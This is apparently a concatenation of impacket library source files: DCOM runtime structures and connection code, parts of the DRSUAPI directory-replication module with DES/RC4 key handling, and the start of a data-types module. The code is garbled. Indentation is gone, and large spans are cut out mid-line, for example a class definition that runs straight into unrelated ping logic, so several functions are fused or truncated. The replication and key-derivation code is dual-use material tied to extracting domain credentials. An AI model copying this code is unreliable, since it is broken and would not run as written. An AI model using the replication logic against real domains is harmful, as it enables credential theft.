from impacket.dcerpc.v5.dtypes import LPWSTR, ULONGLONG, HRESULT, GUID, USHORT, WSTR, DWORD, LPLONG, LONG, PGUID, ULONG, \
UUID, WIDESTR, NULL
from impacket import hresult_errors, LOG
from impacket.uuid import string_to_bin, uuidtup_to_bin, generate
from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE, \
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT, DCERPCException
from impacket.dcerpc.v5 import transport
CLSID_ActivationContextInfo = string_to_bin('000001a5-0000-0000-c000-000000000046')
CLSID_ActivationPropertiesIn = string_to_bin('00000338-0000-0000-c000-000000000046')
CLSID_ActivationPropertiesOut = string_to_bin('00000339-0000-0000-c000-000000000046')
CLSID_CONTEXT_EXTENSION = string_to_bin('00000334-0000-0000-c000-000000000046')
CLSID_ContextMarshaler = string_to_bin('0000033b-0000-0000-c000-000000000046')
CLSID_ERROR_EXTENSION = string_to_bin('0000031c-0000-0000-c000-000000000046')
CLSID_ErrorObject = string_to_bin('0000031b-0000-0000-c000-000000000046')
CLSID_InstanceInfo = string_to_bin('000001ad-0000-0000-c000-000000000046')
CLSID_InstantiationInfo = string_to_bin('000001ab-0000-0000-c000-000000000046')
CLSID_PropsOutInfo = string_to_bin('00000339-0000-0000-c000-000000000046')
CLSID_ScmReplyInfo = string_to_bin('000001b6-0000-0000-c000-000000000046')
CLSID_ScmRequestInfo = string_to_bin('000001aa-0000-0000-c000-000000000046')
CLSID_SecurityInfo = string_to_bin('000001a6-0000-0000-c000-000000000046')
CLSID_ServerLocationInfo = string_to_bin('000001a4-0000-0000-c000-000000000046')
CLSID_SpecialSystemProperties = string_to_bin('000001b9-0000-0000-c000-000000000046')
IID_IActivation = uuidtup_to_bin(('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57','0.0'))
IID_IActivationPropertiesIn = uuidtup_to_bin(('000001A2-0000-0000-C000-000000000046','0.0'))
IID_IActivationPropertiesOut = uuidtup_to_bin(('000001A3-0000-0000-C000-000000000046','0.0'))
IID_IContext = uuidtup_to_bin(('000001c0-0000-0000-C000-000000000046','0.0'))
IID_IObjectExporter = uuidtup_to_bin(('99fcfec4-5260-101b-bbcb-00aa0021347a','0.0'))
IID_IRemoteSCMActivator = uuidtup_to_bin(('000001A0-0000-0000-C000-000000000046','0.0'))
IID_IRemUnknown = uuidtup_to_bin(('00000131-0000-0000-C000-000000000046','0.0'))
IID_IRemUnknown2 = uuidtup_to_bin(('00000143-0000-0000-C000-000000000046','0.0'))
IID_IUnknown = uuidtup_to_bin(('00000000-0000-0000-C000-000000000046','0.0'))
IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
if hresult_errors.ERROR_MESSAGES.has_key(self.error_code):
error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1]
return 'DCOM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'DCOM SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.2.1 OID
OID = ULONGLONG
class OID_ARRAY(NDRUniConformantArray):
item = OID
class POID_ARRAY(NDRPOINTER):
referent = (
('Data', OID_ARRAY),
)
# 2.2.2 SETID
SETID = ULONGLONG
# 2.2.4 error_status_t
error_status_t = ULONG
# 2.2.6 CID
CID = GUID
# 2.2.7 CLSID
CLSID = GUID
# 2.2.8 IID
IID = GUID
PIID = PGUID
# 2.2.9 IPID
IPID = GUID
# 2.2.10 OXID
OXID = ULONGLONG
# 2.2.18 OBJREF
FLAGS_OBJREF_STANDARD = 0x00000001
FLAGS_OBJREF_HANDLER = 0x00000002
FLAGS_OBJREF_CUSTOM = 0x00000004
FLAGS_OBJREF_EXTENDED = 0x00000008
# 2.2.18.1 STDOBJREF
SORF_NOPING = 0x00001000
# 2.2.20 Context
CTXMSHLFLAGS_BYVAL = 0x00000002
# 2.2.20.1 PROPMARSHALHEADER
CPFLAG_PROPAGATE = 0x00000001
CPFLAG_EXPOSE = 0x00000002
CPFLAG_ENVOY = 0x00000004
# 2.2.22.2.1 InstantiationInfoData
ACTVFLAGS_DISABLE_AAA = 0x00000002
ACTVFLAGS_ACTIVATE_32_BIT_SERVER = 0x00000004
ACTVFLAGS_ACTIVATE_64_BIT_SERVER = 0x00000008
ACTVFLAGS_NO_FAILURE_LOG = 0x00000020
# 2.2.22.2.2 SpecialPropertiesData
SPD_FLAG_USE_CONSOLE_SESSION = 0x00000001
# 2.2.28.1 IDL Range Constants
MAX_REQUESTED_INTERFACES = 0x8000
MAX_REQUESTED_PROTSEQS = 0x8000
MIN_ACTPROP_LIMIT = 1
MAX_ACTPROP_LIMIT = 10
################################################################################
# STRUCTURES
################################################################################
class handle_t(NDRSTRUCT):
structure = (
('context_handle_attributes',ULONG),
('context_handle_uuid',UUID),
)
def __init__(self, data = None,isNDR64 = False):
NDRSTRUCT.__init__(self, data, isNDR64)
self['context_handle_uuid'] = '\x00'*20
# 2.2.11 COMVERSION
class COMVERSION(NDRSTRUCT):
structure = (
('MajorVersion',USHORT),
('MinorVersion',USHORT),
)
def __init__(self, data = None,isNDR64 = False):
NDRSTRUCT.__init__(self, data, isNDR64)
if data is None:
self['MajorVersion'] = 5
self['MinorVersion'] = 7
class PCOMVERSION(NDRPOINTER):
referent = (
('Data', COMVERSION),
)
# 2.2.13.1 ORPC_EXTENT
# This MUST contain an array of bytes that form the extent data.
# The array size MUST be a multiple of 8 for alignment reasons.
class BYTE_ARRAY(NDRUniConformantArray):
item = 'c'
class ORPC_EXTENT(NDRSTRUCT):
structure = (
('id',GUID),
('size',ULONG),
('data',BYTE_ARRAY),
)
# 2.2.13.2 ORPC_EXTENT_ARRAY
# ThisMUSTbeanarrayofORPC_EXTENTs.ThearraysizeMUSTbeamultipleof2for alignment reasons.
class PORPC_EXTENT(NDRPOINTER):
referent = (
('Data', ORPC_EXTENT),
)
class EXTENT_ARRAY(NDRUniConformantArray):
item = PORPC_EXTENT
class PEXTENT_ARRAY(NDRPOINTER):
referent = (
('Data', EXTENT_ARRAY),
)
class ORPC_EXTENT_ARRAY(NDRSTRUCT):
structure = (
('size',ULONG),
('reserved',ULONG),
('extent',PEXTENT_ARRAY),
)
class PORPC_EXTENT_ARRAY(NDRPOINTER):
referent = (
('Data', ORPC_EXTENT_ARRAY),
)
# 2.2.13.3 ORPCTHIS
class ORPCTHIS(NDRSTRUCT):
structure = (
('version',COMVERSION),
('flags',ULONG),
('reserved1',ULONG),
('cid',CID),
('extensions',PORPC_EXTENT_ARRAY),
)
# 2.2.13.4 ORPCTHAT
class ORPCTHAT(NDRSTRUCT):
structure = (
('flags',ULONG),
('extensions',PORPC_EXTENT_ARRAY),
)
# 2.2.14 MInterfacePointer
class MInterfacePointer(NDRSTRUCT):
structure = (
('ulCntData',ULONG),
('abData',BYTE_ARRAY),
)
# 2.2.15 PMInterfacePointerInternal
class PMInterfacePointerInternal(NDRPOINTER):
referent = (
('Data', MInterfacePointer),
)
# 2.2.16 PMInterfacePointer
class PMInterfacePointer(NDRPOINTER):
referent = (
('Data', MInterfacePointer),
)
class PPMInterfacePointer(NDRPOINTER):
referent = (
('Data', PMInterfacePointer),
)
# 2.2.18 OBJREF
class OBJREF(NDRSTRUCT):
commonHdr = (
('signature',ULONG),
('flags',ULONG),
('iid',GUID),
)
def __init__(self, data = None,isNDR64 = False):
NDRSTRUCT.__init__(self, data, isNDR64)
if data is None:
self['signature'] = 0x574F454D
# 2.2.18.1 STDOBJREF
class STDOBJREF(NDRSTRUCT):
structure = (
('flags',ULONG),
('cPublicRefs',ULONG),
('oxid',OXID),
('oid',OID),
('ipid',IPID),
)
# 2.2.18.4 OBJREF_STANDARD
class OBJREF_STANDARD(OBJREF):
structure = (
('std',STDOBJREF),
('saResAddr',':'),
)
def __init__(self, data = None,isNDR64 = False):
OBJREF.__init__(self, data, isNDR64)
if data is None:
self['flags'] = FLAGS_OBJREF_STANDARD
# 2.2.18.5 OBJREF_HANDLER
class OBJREF_HANDLER(OBJREF):
structure = (
('std',STDOBJREF),
('clsid',CLSID),
('saResAddr',':'),
)
def __init__(self, data = None,isNDR64 = False):
OBJREF.__init__(self, data, isNDR64)
if data is None:
self['flags'] = FLAGS_OBJREF_HANDLER
# 2.2.18.6 OBJREF_CUSTOM
class OBJREF_CUSTOM(OBJREF):
structure = (
('clsid',CLSID),
('cbExtension',ULONG),
('ObjectReferenceSize',ULONG),
('pObjectData',':'),
)
def __init__(self, data = None,isNDR64 = False):
OBJREF.__init__(self, data, isNDR64)
if data is None:
self['flags'] = FLAGS_OBJREF_CUSTOM
# 2.2.18.8 DATAELEMENT
class DATAELEMENT(NDRSTRUCT):
structure = (
('dataID',GUID),
('cbSize',ULONG),
('cbRounded',ULONG),
('Data',':'),
)
class DUALSTRINGARRAYPACKED(NDRSTRUCT):
structure = (
('wNumEntries',USHORT),
('wSecurityOffset',USHORT),
('aStringArray',':'),
)
def getDataLen(self, data):
return self['wNumEntries']*2
# 2.2.18.7 OBJREF_EXTENDED
class OBJREF_EXTENDED(OBJREF):
structure = (
('std',STDOBJREF),
('Signature1',ULONG),
('saResAddr',DUALSTRINGARRAYPACKED),
('nElms',ULONG),
('Signature2',ULONG),
('ElmArray',DATAELEMENT),
)
def __init__(self, data = None, isNDR64 = False):
OBJREF.__init__(self, data, isNDR64)
if data is None:
self['flags'] = FLAGS_OBJREF_EXTENDED
self['Signature1'] = 0x4E535956
self['Signature1'] = 0x4E535956
self['nElms'] = 0x4E535956
# 2.2.19 DUALSTRINGARRAY
class USHORT_ARRAY(NDRUniConformantArray):
item = ' 0 or len(deletedOids) > 0:
if DCOMConnection.OID_SET[target].has_key('setid'):
setId = DCOMConnection.OID_SET[target]['setid']
else:
setId = 0
resp = objExporter.ComplexPing(setId, 0, addedOids, deletedOids)
DCOMConnection.OID_SET[target]['oids'] -= deletedOids
DCOMConnection.OID_SET[target]['oids'] |= addedOids
DCOMConnection.OID_SET[target]['setid'] = resp['pSetId']
else:
objExporter.SimplePing(DCOMConnection.OID_SET[target]['setid'])
except Exception, e:
# There might be exceptions when sending packets
# We should try to continue tho.
LOG.error(str(e))
pass
DCOMConnection.PINGTIMER = Timer(120,DCOMConnection.pingServer)
try:
DCOMConnection.PINGTIMER.start()
except Exception, e:
if str(e).find('threads can only be started once') < 0:
raise e
def initTimer(self):
if self.__oxidResolver is True:
if DCOMConnection.PINGTIMER is None:
DCOMConnection.PINGTIMER = Timer(120, DCOMConnection.pingServer)
try:
DCOMConnection.PINGTIMER.start()
except Exception, e:
if str(e).find('threads can only be started once') < 0:
raise e
def initConnection(self):
stringBinding = r'ncacn_ip_tcp:%s' % self.__target
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials') and len(self.__userName) >=0:
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__userName, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, self.__TGT, self.__TGS)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__portmap = rpctransport.get_dce_rpc()
self.__portmap.set_auth_level(self.__authLevel)
if self.__doKerberos is True:
self.__portmap.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.__portmap.connect()
DCOMConnection.PORTMAPS[self.__target] = self.__portmap
def CoCreateInstanceEx(self, clsid, iid):
scm = IRemoteSCMActivator(self.__portmap)
iInterface = scm.RemoteCreateInstance(clsid, iid)
self.initTimer()
return iInterface
def get_dce_rpc(self):
return DCOMConnection.PORTMAPS[self.__target]
def disconnect(self):
if DCOMConnection.PINGTIMER is not None:
del(DCOMConnection.PORTMAPS[self.__target])
del(DCOMConnection.OID_SET[self.__target])
if len(DCOMConnection.PORTMAPS) == 0:
# This means there are no more clients using this object, kill it
DCOMConnection.PINGTIMER.cancel()
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
if INTERFACE.CONNECTIONS.has_key(self.__target):
del(INTERFACE.CONNECTIONS[self.__target][currentThread().getName()])
self.__portmap.disconnect()
#print INTERFACE.CONNECTIONS
class CLASS_INSTANCE:
def __init__(self, ORPCthis, stringBinding):
self.__stringBindings = stringBinding
self.__ORPCthis = ORPCthis
self.__authType = RPC_C_AUTHN_WINNT
self.__authLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
def get_ORPCthis(self):
return self.__ORPCthis
def get_string_bindings(self):
return self.__stringBindings
def get_auth_level(self):
if RPC_C_AUTHN_LEVEL_NONE < self.__authLevel < RPC_C_AUTHN_LEVEL_PKT_PRIVACY:
if self.__authType == RPC_C_AUTHN_WINNT:
return RPC_C_AUTHN_LEVEL_PKT_INTEGRITY
else:
return RPC_C_AUTHN_LEVEL_PKT_PRIVACY
return self.__authLevel
def set_auth_level(self, level):
self.__authLevel = level
def get_auth_type(self):
return self.__authType
def set_auth_type(self, authType):
self.__authType = authType
class INTERFACE:
# class variable holding the transport connections, organized by target IP
CONNECTIONS = {}
def __init__(self, cinstance=None, objRef=None, ipidRemUnknown=None, iPid=None, oxid=None, oid=None, target=None,
interfaceInstance=None):
if interfaceInstance is not None:
self.__target = interfaceInstance.get_target()
self.__iPid = interfaceInstance.get_iPid()
self.__oid = interfaceInstance.get_oid()
self.__oxid = interfaceInstance.get_oxid()
self.__cinstance = interfaceInstance.get_cinstance()
self.__objRef = interfaceInstance.get_objRef()
self.__ipidRemUnknown = interfaceInstance.get_ipidRemUnknown()
else:
if target is None:
raise
self.__target = target
self.__iPid = iPid
self.__oid = oid
self.__oxid = oxid
self.__cinstance = cinstance
self.__objRef = objRef
self.__ipidRemUnknown = ipidRemUnknown
# We gotta check if we have a container inside our connection list, if not, create
if INTERFACE.CONNECTIONS.has_key(self.__target) is not True:
INTERFACE.CONNECTIONS[self.__target] = {}
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {}
if objRef is not None:
self.process_interface(objRef)
def process_interface(self, data):
objRefType = OBJREF(data)['flags']
objRef = None
if objRefType == FLAGS_OBJREF_CUSTOM:
objRef = OBJREF_CUSTOM(data)
elif objRefType == FLAGS_OBJREF_HANDLER:
objRef = OBJREF_HANDLER(data)
elif objRefType == FLAGS_OBJREF_STANDARD:
objRef = OBJREF_STANDARD(data)
elif objRefType == FLAGS_OBJREF_EXTENDED:
objRef = OBJREF_EXTENDED(data)
else:
LOG.error("Unknown OBJREF Type! 0x%x" % objRefType)
if objRefType != FLAGS_OBJREF_CUSTOM:
if objRef['std']['flags'] & SORF_NOPING == 0:
DCOMConnection.addOid(self.__target, objRef['std']['oid'])
self.__iPid = objRef['std']['ipid']
self.__oid = objRef['std']['oid']
self.__oxid = objRef['std']['oxid']
if self.__oxid is None:
objRef.dump()
raise
def get_oxid(self):
return self.__oxid
def set_oxid(self, oxid):
self.__oxid = oxid
def get_oid(self):
return self.__oid
def set_oid(self, oid):
self.__oid = oid
def get_target(self):
return self.__target
def get_iPid(self):
return self.__iPid
def set_iPid(self, iPid):
self.__iPid = iPid
def get_objRef(self):
return self.__objRef
def set_objRef(self, objRef):
self.__objRef = objRef
def get_ipidRemUnknown(self):
return self.__ipidRemUnknown
def get_dce_rpc(self):
return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce']
def get_cinstance(self):
return self.__cinstance
def set_cinstance(self, cinstance):
self.__cinstance = cinstance
def is_fdqn(self):
# I will assume the following
# If I can't socket.inet_aton() then it's not an IPv4 address
# Same for ipv6, but since socket.inet_pton is not available in Windows, I'll look for ':'. There can't be
# an FQDN with ':'
# Is it isn't both, then it is a FDQN
try:
socket.inet_aton(self.__target)
except:
# Not an IPv4
try:
self.__target.index(':')
except:
# Not an IPv6, it's a FDQN
return True
return False
def connect(self, iid = None):
if INTERFACE.CONNECTIONS.has_key(self.__target) is True:
if INTERFACE.CONNECTIONS[self.__target].has_key(currentThread().getName()) and \
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()].has_key(self.__oxid) is True:
dce = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce']
currentBinding = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding']
if currentBinding == iid:
# We don't need to alter_ctx
pass
else:
newDce = dce.alter_ctx(iid)
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = newDce
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid
else:
stringBindings = self.get_cinstance().get_string_bindings()
# No OXID present, we should create a new connection and store it
stringBinding = None
isTargetFDQN = self.is_fdqn()
LOG.debug('Target system is %s and isFDQN is %s' % (self.get_target(), isTargetFDQN))
for strBinding in stringBindings:
# Here, depending on the get_target() value several things can happen
# 1) it's an IPv4 address
# 2) it's an IPv6 address
# 3) it's a NetBios Name
# we should handle all this cases accordingly
# Does this match exactly what get_target() returns?
LOG.debug('StringBinding: %s' % strBinding['aNetworkAddr'])
if strBinding['wTowerId'] == 7:
# If there's port information, let's strip it for now.
if strBinding['aNetworkAddr'].find('[') >= 0:
binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[')
bindingPort = '[' + bindingPort
else:
binding = strBinding['aNetworkAddr']
bindingPort = ''
if binding.upper().find(self.get_target().upper()) >= 0:
stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]
break
# If get_target() is a FQDN, does it match the hostname?
elif isTargetFDQN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0:
# Here we replace the aNetworkAddr with self.get_target()
# This is to help resolving the target system name.
# self.get_target() has been resolved already otherwise we wouldn't be here whereas
# aNetworkAddr is usually the NetBIOS name and unless you have your DNS resolver
# with the right suffixes it will probably not resolve right.
stringBinding = 'ncacn_ip_tcp:%s%s' % (self.get_target(), bindingPort)
break
LOG.debug('StringBinding chosen: %s' % stringBinding)
if stringBinding is None:
# Something wen't wrong, let's just report it
raise Exception('Can\'t find a valid stringBinding to connect')
dcomInterface = transport.DCERPCTransportFactory(stringBinding)
if hasattr(dcomInterface, 'set_credentials'):
# This method exists only for selected protocol sequences.
dcomInterface.set_credentials(*DCOMConnection.PORTMAPS[self.__target].get_credentials())
dcomInterface.set_kerberos(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos(),
DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kdcHost())
dcomInterface.set_connect_timeout(300)
dce = dcomInterface.get_dce_rpc()
if iid is None:
raise
else:
dce.set_auth_level(self.__cinstance.get_auth_level())
dce.set_auth_type(self.__cinstance.get_auth_type())
dce.connect()
if iid is None:
raise
else:
dce.bind(iid)
if self.__oxid is None:
#import traceback
#print traceback.print_stack()
LOG.critical("OXID NONE, something wrong!!!")
raise
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {}
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid] = {}
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = dce
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid
else:
# No connection created
raise
def request(self, req, iid = None, uuid = None):
req['ORPCthis'] = self.get_cinstance().get_ORPCthis()
req['ORPCthis']['flags'] = 0
self.connect(iid)
dce = self.get_dce_rpc()
try:
resp = dce.request(req, uuid)
except Exception, e:
if str(e).find('RPC_E_DISCONNECTED') >= 0:
msg = str(e) + '\n'
msg += "DCOM keep-alive pinging it might not be working as expected. You can't be idle for more than 14 minutes!\n"
msg += "You should exit the app and start again\n"
raise DCERPCException(msg)
else:
raise
return resp
def disconnect(self):
return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'].disconnect()
# 3.1.1.5.6.1 IRemUnknown Methods
class IRemUnknown(INTERFACE):
def __init__(self, interface):
self._iid = IID_IRemUnknown
#INTERFACE.__init__(self, interface.get_cinstance(), interface.get_objRef(), interface.get_ipidRemUnknown(),
# interface.get_iPid(), target=interface.get_target())
INTERFACE.__init__(self, interfaceInstance=interface)
self.set_oxid(interface.get_oxid())
def RemQueryInterface(self, cRefs, iids):
# For now, it only supports a single IID
request = RemQueryInterface()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['ripid'] = self.get_iPid()
request['cRefs'] = cRefs
request['cIids'] = len(iids)
for iid in iids:
_iid = IID()
_iid['Data'] = iid
request['iids'].append(_iid)
resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown())
#resp.dump()
return IRemUnknown2(
INTERFACE(self.get_cinstance(), None, self.get_ipidRemUnknown(), resp['ppQIResults']['std']['ipid'],
oxid=resp['ppQIResults']['std']['oxid'], oid=resp['ppQIResults']['std']['oxid'],
target=self.get_target()))
def RemAddRef(self):
request = RemAddRef()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['cInterfaceRefs'] = 1
element = REMINTERFACEREF()
element['ipid'] = self.get_iPid()
element['cPublicRefs'] = 1
request['InterfaceRefs'].append(element)
resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown())
return resp
def RemRelease(self):
request = RemRelease()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['cInterfaceRefs'] = 1
element = REMINTERFACEREF()
element['ipid'] = self.get_iPid()
element['cPublicRefs'] = 1
request['InterfaceRefs'].append(element)
resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown())
DCOMConnection.delOid(self.get_target(), self.get_oid())
return resp
# 3.1.1.5.7 IRemUnknown2 Interface
class IRemUnknown2(IRemUnknown):
def __init__(self, interface):
IRemUnknown.__init__(self, interface)
self._iid = IID_IRemUnknown2
# 3.1.2.5.1 IObjectExporter Methods
class IObjectExporter:
def __init__(self, dce):
self.__portmap = dce
# 3.1.2.5.1.1 IObjectExporter::ResolveOxid (Opnum 0)
def ResolveOxid(self, pOxid, arRequestedProtseqs):
self.__portmap.connect()
self.__portmap.bind(IID_IObjectExporter)
request = ResolveOxid()
request['pOxid'] = pOxid
request['cRequestedProtseqs'] = len(arRequestedProtseqs)
for protSeq in arRequestedProtseqs:
request['arRequestedProtseqs'].append(protSeq)
resp = self.__portmap.request(request)
Oxids = ''.join(pack(' 0:
for oid in addToSet:
oidn = OID()
oidn['Data'] = oid
request['AddToSet'].append(oidn)
else:
request['AddToSet'] = NULL
if len(delFromSet) > 0:
for oid in delFromSet:
oidn = OID()
oidn['Data'] = oid
request['DelFromSet'].append(oidn)
else:
request['DelFromSet'] = NULL
resp = self.__portmap.request(request)
return resp
# 3.1.2.5.1.4 IObjectExporter::ServerAlive (Opnum 3)
def ServerAlive(self):
self.__portmap.connect()
self.__portmap.bind(IID_IObjectExporter)
request = ServerAlive()
resp = self.__portmap.request(request)
return resp
# 3.1.2.5.1.5 IObjectExporter::ResolveOxid2 (Opnum 4)
def ResolveOxid2(self,pOxid, arRequestedProtseqs):
self.__portmap.connect()
self.__portmap.bind(IID_IObjectExporter)
request = ResolveOxid2()
request['pOxid'] = pOxid
request['cRequestedProtseqs'] = len(arRequestedProtseqs)
for protSeq in arRequestedProtseqs:
request['arRequestedProtseqs'].append(protSeq)
resp = self.__portmap.request(request)
Oxids = ''.join(pack('.
# There are test cases for them too.
#
import hashlib
from struct import pack
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUNION, NDR, NDRENUM
from impacket.dcerpc.v5.dtypes import PUUID, DWORD, NULL, GUID, LPWSTR, BOOL, ULONG, UUID, LONGLONG, ULARGE_INTEGER, LARGE_INTEGER
from impacket import hresult_errors, system_errors
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin, string_to_bin
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.krb5 import crypto
from pyasn1.type import univ
from pyasn1.codec.ber import decoder
try:
from Crypto.Cipher import ARC4, DES
except Exception:
LOG.critical("Warning: You don't have any crypto installed. You need PyCrypto")
LOG.critical("See http://www.pycrypto.org/")
MSRPC_UUID_DRSUAPI = uuidtup_to_bin(('E3514235-4B06-11D1-AB04-00C04FC2DCD2','4.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if hresult_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
elif system_errors.ERROR_MESSAGES.has_key(key & 0xffff):
error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1]
return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'DRSR SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 4.1.10.2.17 EXOP_ERR Codes
class EXOP_ERR(NDRENUM):
align = 4
align64 = 4
structure = (
('Data', '> 0x01) )
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
for i in range(8):
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
return "".join(OutputKey)
def deriveKey(baseKey):
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
# Let I be the little-endian, unsigned integer.
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
key = pack('= 16384:
# mark it so that it is known to not be the whole lastValue
lowerWord += 32768
upperWord = pos
attrTyp = ATTRTYP()
attrTyp['Data'] = (upperWord << 16) + lowerWord
return attrTyp
def OidFromAttid(prefixTable, attr):
# separate the ATTRTYP into two parts
upperWord = attr / 65536
lowerWord = attr % 65536
# search in the prefix table to find the upperWord, if found,
# construct the binary OID by appending lowerWord to the end of
# found prefix.
binaryOID = None
for j, item in enumerate(prefixTable):
if item['ndx'] == upperWord:
binaryOID = item['prefix']['elements'][:item['prefix']['length']]
if lowerWord < 128:
binaryOID.append(chr(lowerWord))
else:
if lowerWord >= 32768:
lowerWord -= 32768
binaryOID.append(chr(((lowerWord/128) % 128)+128))
binaryOID.append(chr(lowerWord%128))
break
if binaryOID is None:
return None
return str(decoder.decode('\x06' + chr(len(binaryOID)) + ''.join(binaryOID), asn1Spec = univ.ObjectIdentifier())[0])
if __name__ == '__main__':
prefixTable = []
oid0 = '1.2.840.113556.1.4.94'
oid1 = '2.5.6.2'
oid2 = '1.2.840.113556.1.2.1'
oid3 = '1.2.840.113556.1.3.223'
oid4 = '1.2.840.113556.1.5.7000.53'
o0 = MakeAttid(prefixTable, oid0)
print hex(o0)
o1 = MakeAttid(prefixTable, oid1)
print hex(o1)
o2 = MakeAttid(prefixTable, oid2)
print hex(o2)
o3 = MakeAttid(prefixTable, oid3)
print hex(o3)
o4 = MakeAttid(prefixTable, oid4)
print hex(o4)
jj = OidFromAttid(prefixTable, o0)
print jj
jj = OidFromAttid(prefixTable, o1)
print jj
jj = OidFromAttid(prefixTable, o2)
print jj
jj = OidFromAttid(prefixTable, o3)
print jj
jj = OidFromAttid(prefixTable, o4)
print jj
impacket-0.9.15/impacket/dcerpc/v5/dtypes.py 0000600 0000765 0000000 00000030151 12734531507 020722 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-DTYP] Interface mini implementation
#
from struct import pack
from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \
NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \
NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL
DWORD = NDRULONG
BOOL = NDRULONG
UCHAR = NDRUSMALL
SHORT = NDRSHORT
NULL = NULL
class LPDWORD(NDRPOINTER):
referent = (
('Data', DWORD),
)
class PSHORT(NDRPOINTER):
referent = (
('Data', SHORT),
)
class PBOOL(NDRPOINTER):
referent = (
('Data', BOOL),
)
class LPBYTE(NDRPOINTER):
referent = (
('Data', NDRUniConformantArray),
)
